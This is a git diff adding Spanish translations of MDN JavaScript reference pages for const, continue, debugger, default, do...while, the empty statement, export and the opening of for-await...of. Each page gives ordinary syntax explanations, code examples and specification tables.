+<p><font><font>Todas las consideraciones acerca de la " <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Sentencias/let#muerta">zona muerta temporal</a> " se aplican tanto a </font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code><font><font>y</font></font><code>const</code><font><font>.</font></font></p>
+
+<div class="warning">
+<p><code>const</code> <s>es </s><u>fue</u> una <strong>extensión especifica de Mozilla</strong>, no <s>es</s> <u>era</u> soportado en IE, pero <s>tiene</s> <u>tenia</u> soporte parcial por Opera desde la versión 9.0 y por Safari.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>El siguiente ejemplo produce una salida <code>"a es 7."</code></p>
+
+<pre class="brush: js">const a = 7;
+document.writeln("a es " + a + ".");
+</pre>
+
+<p>Las siguientes instrucciones demuestra como se comporta <code>const</code></p>
+
+<div class="warning">
+<p>Las instrucciones deberán ser ordenadas correctamente para conseguir la salida esperada a los ejemplos</p>
+</div>
+
+<pre class="brush: js">// NOTA: Las constantes pueden ser declaradas en mayusculas o minusculaas,
+//pero por convencion para distinguirlas del resto de variables se escribe todo en mayusculas
+
+// definimos MY_FAV como constante y le damos un valor de 7
+const MY_FAV = 7;
+
+// lanzara un error: Unkeught TypeError: Asignación a variable constante.
+MY_FAV = 20;
+
+// imprimira 7
+console.log('my favorite number is: ' + MY_FAV);
+
+// lanzara un error: SyntaxError: tratando de redeclarar una constante. El identificador 'MY_FAV' ya ha sido declarado
+const MY_FAV = 20;
+
+// el nombre MY_FAV esta reservado para la constante anterior, también fallara y lanzara un SyntaxError por la redeclaración
+var MY_FAV = 20;
+
+// el nombre MY_FAV esta reservado para la variable anterior, esto también lanzara un SyntaxError por la redeclaración
+let MY_FAV = 20;
+
+// es importante tener en cuenta como funciona el alcance de bloque
+if (MY_FAV === 7) {
+    // esto esta bien y crea una variable MY_FAV de alcance/ambito de bloque
+    // (funciona igual de bien con let para declarar un alcance de bloque/ambito de variable no-constante)
+    const MY_FAV = 20;
+
+    // MY_FAV ahora es 20
+    console.log('my favorite number is ' + MY_FAV);
+
+    // aquín también lanzara un SyntaxError por la redeclaración
+    var MY_FAV = 20;
+}
+
+// MY_FAV todavia es 7
+console.log('my favorite number is ' + MY_FAV);
+
+// lanza error, falta el inicializador en la declaracion de const
+const FOO;
+
+// const tambien funciona en objetos
+const MY_OBJECT = {'key': 'value'};
+
+// Intentando sobrescribir el objeto nos lanza un error
+MY_OBJECT = {'OTHER_KEY': 'value'};
+
+// Sin embargo, los object keys no estan protegidas,
+// por lo que la siguiente sentencia se ejecutara sin problema
+MY_OBJECT.key = 'otherValue'; // Use Object.freeze() para hacer un objeto inmutable
+
+// Lo mismo se aplica a los arrays
+const MY_ARRAY = [];
+// es posible empujar elementos en el array
+MY_ARRAY.push('A'); // ["A"]
+// Sin embargo, asignar un nuevo array a la variable lanza error
+MY_ARRAY = ['B']</pre>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Sentencias/var", "var")}}</li>
+ <li>{{jsxref("Sentencias/let", "let")}}</li>
+ <li><a href="/en/JavaScript/Guide/Values,_Variables,_and_Literals#Constants" title="en/JavaScript/Guide/Values, Variables, and Literals#Constants">Constants in JavaScript Guide</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/continue/index.html b/files/es/web/javascript/referencia/sentencias/continue/index.html
new file mode 100644
index 0000000000..5371b4cdd7
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/continue/index.html
@@ -0,0 +1,66 @@
+---
+title: continue
+slug: Web/JavaScript/Referencia/Sentencias/continue
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/continue
+---
+<div>
+ {{jsSidebar("Statements")}}</div>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Termina la ejecución de las sentencias de la iteración actual del bucle actual o la etiqueta y continua la ejecución del bucle con la próxima iteración.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox">continue [ <em>etiqueta</em> ];</pre>
+<dl>
+ <dt>
+  <code>label</code></dt>
+ <dd>
+  Identificador asociado con la etiqueta de la sentencia.</dd>
+</dl>
+<h3 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h3>
+<p>En contraste con la sentencia {{jsxref("Sentencias/break", "break")}}, <code>continue</code> no termina la ejecución del bucle por completo; en cambio,</p>
+<ul>
+ <li>En un bucle {{jsxref("Sentencias/while", "while")}}, salta de regreso a la condición.</li>
+</ul>
+<ul>
+ <li>En un bucle {{jsxref("Sentencias/for", "for")}}, salta a la expresión actualizada.</li>
+</ul>
+<p>La sentencia <code>continue</code> puede incluir una etiqueta opcional que permite al programa saltar a la siguiente iteración del bucle etiquetado en vez del bucle actual. En este caso, la sentencia <code>continue</code> necesita estar anidada dentro de esta sentecia etiquetada.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<h3 id="Ejemplo:_Usando_continue_con_while" name="Ejemplo:_Usando_continue_con_while">Ejemplo: Usando <code>continue</code> con <code>while</code></h3>
+<p>El siguiente ejemplo muestra un bucle {{jsxref("Sentencias/while", "while")}} que tiene una sentencia <code>continue</code> que se ejecuta cuando el valor de <code>i</code> es 3. Así, <code>n</code> toma los valores 1, 3, 7 y 12.</p>
+<pre class="brush: js">i = 0;
+n = 0;
+while (i &lt; 5) {
+   i++;
+   if (i == 3)
+      continue;
+   n += i;
+}
+</pre>
+<h3 id="Ejemplo:_Usando_continue_con_una_etiqueta" name="Ejemplo:_Usando_continue_con_una_etiqueta">Ejemplo: Usando <code>continue</code> con una etiqueta</h3>
+<p>En el siguiente ejemplo, una sentencia etiquetada <code>checkiandj</code> contiene una sentencia etiquetada <code>checkj</code>. Si se encuentra <code>continue</code>, el programa continua hasta encima de la sentencia <code>checkj</code>. Cada vez que se encuentra <code>continue</code>, <code>checkj</code> se reitera hasta que su condición devuelve false. Cuando se devuelve false, el recordatorio de la sentencia <code>checkiandj</code> se completa.</p>
+<p>Si <code>continue</code> tuviese una etiqueta <code>checkiandj</code>, el programa continuaría hasta encima de la sentencia <code>checkiandj</code>.</p>
+<pre>checkiandj:
+while (i &lt; 4) {
+   document.write(i + "&lt;br&gt;");
+   i += 1;
+
+   checkj:
+   while (j &gt; 4) {
+      document.write(j + "&lt;br&gt;");
+      j -= 1;
+      if ((j % 2) == 0)
+         continue checkj;
+      document.write(j + " is odd.&lt;br&gt;");
+   }
+   document.write("i = " + i + "&lt;br&gt;");
+   document.write("j = " + j + "&lt;br&gt;");
+}
+</pre>
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+<ul>
+ <li>{{jsxref("Sentencias/break", "break")}}</li>
+ <li>{{jsxref("Sentencias/label", "label")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/debugger/index.html b/files/es/web/javascript/referencia/sentencias/debugger/index.html
new file mode 100644
index 0000000000..bb36e356c0
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/debugger/index.html
@@ -0,0 +1,125 @@
+---
+title: debugger
+slug: Web/JavaScript/Referencia/Sentencias/debugger
+tags:
+  - JavaScript
+  - Sentencia
+translation_of: Web/JavaScript/Reference/Statements/debugger
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La sentencia <strong>debugger</strong> invoca cualquier funcionalidad de depuración disponible, tiene la misma función que un breakpoint. Si la funcionalidad de depuración no está disponible, esta sentencia no tiene efecto alguno.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>debugger;</code></pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>El siguiente ejemplo muestra un bloque de código donde ha sido insertada una sentencia debugger, para invocar el depurador (si existe) cuando la función es ejecutada.</p>
+
+<pre class="brush:js">function codigoPotencialmenteDefectuoso() {
+    debugger;
+    // realizar paso a paso o examinar código que contiene
+    // potenciales errores
+}</pre>
+
+<p>Cuando el depurador es invocado, la ejecución se detiene en la sentencia debugger. Es como un punto de interrupción en el script.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/6963/Screen Shot 2014-02-07 at 9.14.35 AM.png"><img alt="Paused at a debugger statement." src="https://mdn.mozillademos.org/files/6963/Screen%20Shot%202014-02-07%20at%209.14.35%20AM.png" style="height: 371px; width: 700px;"></a></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-debugger-statement', 'Debugger statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-debugger-statement', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.15', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-7.5.3', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-7.4.3', 'Debugger statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Solo mencionada como palabra reservada</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Debugging_JavaScript">Debugging JavaScript</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger">The Debugger in the Firefox Developer Tools</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/default/index.html b/files/es/web/javascript/referencia/sentencias/default/index.html
new file mode 100644
index 0000000000..5cc0eb9060
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/default/index.html
@@ -0,0 +1,120 @@
+---
+title: default
+slug: Web/JavaScript/Referencia/Sentencias/default
+tags:
+  - JavaScript
+  - Palabra clave
+translation_of: Web/JavaScript/Reference/Statements/switch
+---
+<div>{{jsSidebar("Sentencias")}}</div>
+
+<p>La palabra clave<strong> default, </strong>en JavaScript puede ser usada en dos situaciones: dentro una sentencia {{jsxref("Sentencias/switch", "switch")}}, o con un sentencia{{jsxref("Sentencias/export", "export")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-default.html")}}</div>
+
+<p class="hidden">El codigo fuente para este ejemplo interactivo esta almacenado en un repositorio de GitHub. Si quieres contribuir al proyecto de ejemplos interactivos, clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y mandenos un pull request.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>Dentro de una sentencia {{jsxref("Sentencias/switch", "switch")}}:</p>
+
+<pre class="syntaxbox">switch (expresion) {
+  case valor1:
+    //Declaración ejecutada cuando el resultado de la expresion conincida con valor1
+    [break;]
+  default:
+    //Declaración ejecutada cuando ninguno de los valores conincida con algun valor de la expresion
+    [break;]
+}</pre>
+
+<p>Con una sentencia {{jsxref("Sentencias/export", "export")}}:</p>
+
+<pre class="syntaxbox">export default <em>nameN</em> </pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Para mas detalles vea las paginas:</p>
+
+<ul>
+ <li>Sentencia {{jsxref("Sentencias/switch", "switch")}} y</li>
+ <li>Sentencia {{jsxref("Sentencias/export", "export")}}.</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_default_en_una_sentencia_switch">Usando <code>default</code> en una sentencia <code>switch</code></h3>
+
+<p>En el siguiente ejemplo, si se evalua <code>expr</code>  como "Naranjas" o "Manzanas", el programa coincide los valores en cada caso: "Naranjas" o "Manzanas", y ejecuta la declaración correspondiente. La palabra clave <code>default</code> ayudara en algun otro caso y ejecuta la declaración asociada.</p>
+
+<pre class="brush: js">switch (expr) {
+  case 'Naranjas':
+    console.log('Las Naranjas cuestan $0.59 el kilogramo.');
+    break;
+  case 'Manzanas':
+    console.log('Las Manzanas cuestan $0.32 el kilogramo.');
+    break;
+  default:
+    console.log('Lo esntimos, no tenemos ' + expr + '.');
+}</pre>
+
+<h3 id="Usando_default_con_export">Usando <code>default</code> con <code>export</code></h3>
+
+<p>Si queres exportar un solo valor o necesitas reservar un valor para un modulo, puedes usar una exportación por defecto:</p>
+
+<pre class="brush: js">// modulo "mi-modulo.js"
+let cube = function cube(x) {
+  return x * x * x;
+};
+export default cube;</pre>
+
+<p>Entonces, en otro script, sera sencillo de importar el valor del modulo:</p>
+
+<pre class="brush: js">// modulo "otro-modulo.js"
+import cubeArea from 'mi-modulo';  //default export nos da la libertad de decir import cubeArea, en lugar de import cube from 'my-module'
+console.log(cubeArea(3)); // 27
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta pagina es generada desde datos estruturados. si quieres contribuir con los datos, revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos un pull request.</div>
+
+<p>{{Compat("javascript.statements.default")}}</p>
+
+<h2 id="Vea_tambien">Vea tambien</h2>
+
+<ul>
+ <li>{{jsxref("Sentencias/export", "export")}}</li>
+ <li>{{jsxref("Sentencias/switch", "switch")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/do...while/index.html b/files/es/web/javascript/referencia/sentencias/do...while/index.html
new file mode 100644
index 0000000000..628c1458cd
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/do...while/index.html
@@ -0,0 +1,49 @@
+---
+title: do...while
+slug: Web/JavaScript/Referencia/Sentencias/do...while
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/do...while
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La sentencia (hacer mientras) crea un bucle que ejecuta una sentencia especificada, hasta que la condición de comprobación se evalúa como falsa. La condición se evalúa después de ejecutar la sentencia, dando como resultado que la sentencia especificada se ejecute al menos una vez.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-dowhile.html")}}</div>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">do
+   <em>sentencia</em>
+while (<em>condición</em>);
+</pre>
+
+<dl>
+ <dt><code>sentencia</code></dt>
+ <dd>Una sentencia que se ejecuta al menos una vez y es reejecutada cada vez que la condición se evalúa a verdadera. Para ejecutar múltiples sentencias dentro de un bucle, utilice la sentencia {{jsxref("Statements/block", "block")}} (<code>{ ... }</code>) para agrupar aquellas sentencias.</dd>
+</dl>
+
+<dl>
+ <dt><code>condición</code></dt>
+ <dd>Una expresión se evalúa después de cada pase del bucle. Si <code>condición</code> se evalúa como verdadera, la <code>sentencia</code> se re-ejecuta. Cuando <code>condición</code> se evalúa como falsa, el control pasa a la siguiente sentencia hacer mientras.</dd>
+</dl>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_Usando_do...while" name="Ejemplo:_Usando_do...while">Usando <code>hacer mientras</code></h3>
+
+<p>En el siguiente ejemplo, el bucle hacer mientras itera al menos una vez y se reitera hasta que <code>i</code> ya no sea menor que 5.</p>
+
+<pre class="brush: js">do {
+   i += 1;
+   document.write(i);
+} while (i &lt; 5);
+</pre>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("Sentencias/while", "while")}}</li>
+ <li>{{jsxref("Sentencias/for", "for")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/empty/index.html b/files/es/web/javascript/referencia/sentencias/empty/index.html
new file mode 100644
index 0000000000..627fd889c7
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/empty/index.html
@@ -0,0 +1,141 @@
+---
+title: empty
+slug: Web/JavaScript/Referencia/Sentencias/Empty
+tags:
+  - JavaScript
+  - Sentencia
+  - Vacía
+translation_of: Web/JavaScript/Reference/Statements/Empty
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Un <strong>empty statement</strong> o sentencia vacía es usada para no proveer una sentencia, incluso si la sintaxis JavaScript esperase una.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">;
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La sentencia vacía es un punto y coma (;) que indica que no se ejecutará ninguna sentencia, incluso si la sintaxis JavaScript requiere una. El comportamiento opuesto, donde se desean ejecutar varias sentencias pero JavaScript solo permite una sola, es posible usando una <a href="/es/docs/Web/JavaScript/Referencia/Sentencias/block">sentencia de bloque</a>; la cual combina varias declaraciones en una.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>La sentencia vacía es comúnmente usada en bucles. Por ejemplo, un bucle for sin bloque de sentencias:</p>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+
+// Asignar el valor 0 a todos los elementos del array
+for (i = 0; i &lt; arr.length; arr[i++] = 0) /* sentencia vacía */ ;
+
+console.log(arr);
+// [0, 0, 0]
+</pre>
+
+<p><strong>Nota:</strong> Es una buena práctica comentar el uso intencional de la sentencia vacía, ya que no es fácilmente distinguible de un punto y coma normal. Un ejemplo de uso probablemente no intencional:</p>
+
+<pre class="brush: js">if (condicion);  // Esta condición no ejerce ningún control!
+   borrarTodo()  // Por lo cual esta sentencia será ejecutada siempre!!!
+</pre>
+
+<p>Otro ejemplo de uso:</p>
+
+<pre class="brush: js">var a = 1, b = 1;
+if((a == 0) || (b = 0)); // Asigna a '<code>b'</code> el valor cero si '<code>a'</code> no es cero.
+console.log(b); // 0</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-empty-statement', 'Empty statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-empty-statement', 'Empty statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.3', 'Empty statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.3', 'Empty statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.3', 'Empty statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Sentencias/block", "Sentencia de bloque")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/export/index.html b/files/es/web/javascript/referencia/sentencias/export/index.html
new file mode 100644
index 0000000000..6016afd0ba
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/export/index.html
@@ -0,0 +1,175 @@
+---
+title: export
+slug: Web/JavaScript/Referencia/Sentencias/export
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Módulos
+  - Sentencia
+  - export
+translation_of: Web/JavaScript/Reference/Statements/export
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La declaración <strong><code>export</code></strong> se utiliza al crear módulos de JavaScript para exportar funciones, objetos o tipos de dato primitivos del módulo para que puedan ser utilizados por otros programas con la sentencia {{jsxref("Statements/import", "import")}}.</p>
+
+<p>Los módulos exportados están en {{jsxref("Strict_mode","strict mode")}} tanto si se declaran así como si no. La sentencia export no puede ser utilizada en scripts embebidos.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">export { <var>name1</var>, <var>name2</var>, …, <var>nameN</var> };
+export { <var>variable1</var> as <var>name1</var>, <var>variable2</var> as <var>name2</var>, …, <var>nameN</var> };
+export let <var>name1</var>, <var>name2</var>, …, <var>nameN</var>; // también var
+export let <var>name1</var> = …, <var>name2</var> = …, …, <var>nameN</var>; // también var, const
+export function FunctionName(){...}
+export class ClassName {...}
+
+export default <em>expression</em>;
+export default function (…) { … } // también class, function*
+export default function name1(…) { … } // también class, function*
+export { <var>name1</var> as default, … };
+
+export * from …;
+export { <var>name1</var>, <var>name2</var>, …, <var>nameN</var> } from …;
+export { <var>import1</var> as <var>name1</var>, <var>import2</var> as <var>name2</var>, …, <var>nameN</var> } from …;
+export { default } from …;
+</pre>
+
+<dl>
+ <dt><code>nameN</code></dt>
+ <dd>Identificador a ser exportado (es posible importarlo a través de {{jsxref("Statements/import", "import")}} en otro script).</dd>
+</dl>
+
+<h2 id="Descripción" name="Descripción">Descripción</h2>
+
+<p>Existen dos tipos diferentes de exportación , <strong>nombrada</strong> y <strong>por defecto</strong>. Se pueden tener varias exportaciones nombradas por módulo pero sólo una exportación por defecto. Cada tipo corresponde a una de las sintaxis siguientes:</p>
+
+<ul>
+ <li>Exports con nombre:
+  <pre class="brush: js">// exporta la función previamente declarada
+export { myFunction };
+
+// exporta una constante
+export const foo = Math.sqrt(2);</pre>
+ </li>
+ <li>Exports por defecto (function):
+  <pre class="brush: js">export default function() {} </pre>
+ </li>
+ <li>Exports por defecto (class):
+  <pre class="brush: js">export default class {} </pre>
+ </li>
+</ul>
+
+<p>Los export con nombre son útiles cuando se necesitan exportar múltiples valores. Durante el import, es obligatorio usar el mismo nombre que el correspondiente objeto.</p>
+
+<p>Pero un export por defecto puede ser importado con cualquier nombre, por ejemplo:</p>
+
+<pre class="brush: js">export default k = 12; // en el archivo test.js
+
+import m from './test' // notese que tenemos la libertad de usar import m en lugar de import k, porque k era el export por defecto
+
+console.log(m); // escribirá 12</pre>
+
+<p>Sólo puede haber un export por defecto.</p>
+
+<p>La siguiente sintaxis no exporta un export por defecto del módulo importado:</p>
+
+<pre class="brush: js">export * from …;</pre>
+
+<p>Si necesita exportar por defecto, escriba lo siguiente en su lugar:</p>
+
+<pre class="brush: js">import mod from 'mod';
+export default mod;</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Syntax" name="Syntax">Usando exports con nombre</h3>
+
+<p>En el módulo, podremos usar el siguiente código:</p>
+
+<pre class="brush: js">// module "my-module.js"
+function cube(x) {
+  return x * x * x;
+}
+const foo = Math.PI + Math.SQRT2;
+var graph = {
+    options:{
+        color:'white',
+        thickness:'2px'
+    },
+    draw: function(){
+        console.log('From graph draw function');
+    }
+}
+export { cube, foo, graph };</pre>
+
+<p>De esta forma, en otro script, podemos tener:</p>
+
+<pre class="brush: js">//You should use this script in html with the type module ,
+//eg ''&lt;script type="module" src="demo.js"&gt;&lt;/script&gt;",
+//open the page in a httpserver,otherwise there will be a CORS policy error.
+//script demo.js
+
+import { cube, foo, graph } from 'my-module';
+graph.options = {
+    color:'blue',
+    thickness:'3px'
+};
+graph.draw();
+console.log(cube(3)); // 27
+console.log(foo);    // 4.555806215962888
+</pre>
+
+<h3 id="Usando_el_export_por_defecto">Usando el export por defecto</h3>
+
+<p>Si queremos exportar un sólo valor o tener uno por defecto para nuestro módulo, podemos usar un export por defecto:</p>
+
+<pre class="brush: js">// module "my-module.js"
+export default function cube(x) {
+  return x * x * x;
+}
+</pre>
+
+<p>De esta forma la importación de un export default será sumamemte sencilla:</p>
+
+<pre class="brush: js">import cube from 'my-module';
+console.log(cube(3)); // 27</pre>
+
+<p>Tenga en cuenta que no es posible usar <code>var</code>, <code>let</code> o <code>const</code> con <code>export default</code>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatiblidad_en_navegadores">Compatiblidad en navegadores</h2>
+
+<p>{{Compat("javascript.statements.export")}}</p>
+
+<h2 id="Vea también" name="Vea también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Sentencias/import", "import")}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, publicación del blog de Hacks por Jason Orendorff</li>
+ <li><a href="https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/">ES modules: A cartoon deep-dive</a>, publicación del blog de Hacks por Lin Clark</li>
+ <li><a href="http://exploringjs.com/es6/ch_modules.html">Libro de Axel Rauschmayer: "Exploring JS: Modules"</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/javascript/referencia/sentencias/for-await...of/index.html b/files/es/web/javascript/referencia/sentencias/for-await...of/index.html
new file mode 100644
index 0000000000..49349d7199
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/for-await...of/index.html
@@ -0,0 +1,144 @@
+---
+title: for await...of
+slug: Web/JavaScript/Referencia/Sentencias/for-await...of
+tags:
+  - Iteración
+  - JavaScript
+  - Referencia
+  - Sentencia
+  - asincrónico
+  - await
+  - iterar
+translation_of: Web/JavaScript/Reference/Statements/for-await...of
+---
+<div>{{jsSidebar("Statements")}}</div>
+
